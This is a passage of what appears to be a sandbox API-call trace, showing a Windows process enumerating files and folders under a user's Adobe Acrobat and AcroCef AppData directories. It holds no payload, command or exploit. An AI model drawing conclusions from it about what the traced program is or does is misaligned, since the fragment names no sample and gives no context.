lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0179.015] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.015] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.015] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0179.015] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.015] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0179.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0179.015] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.018] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.018] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0179.018] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0179.018] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0179.018] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0179.019] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0179.019] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0179.019] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0179.019] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0179.019] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.020] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.020] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0179.020] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.021] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.021] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0179.022] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0179.022] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0179.022] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0179.022] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0179.022] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0179.022] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0179.023] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0179.023] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0179.023] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpFilePart=0x0) returned 0x34 [0179.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpFilePart=0x0) returned 0x34 [0179.024] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.027] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.027] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt15.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0179.027] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.028] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpFilePart=0x0) returned 0x42 [0179.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpFilePart=0x0) returned 0x42 [0179.028] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.028] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.028] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.028] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0179.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0179.029] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.030] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.030] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0179.030] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0179.030] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0179.030] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x12fed64 | out: 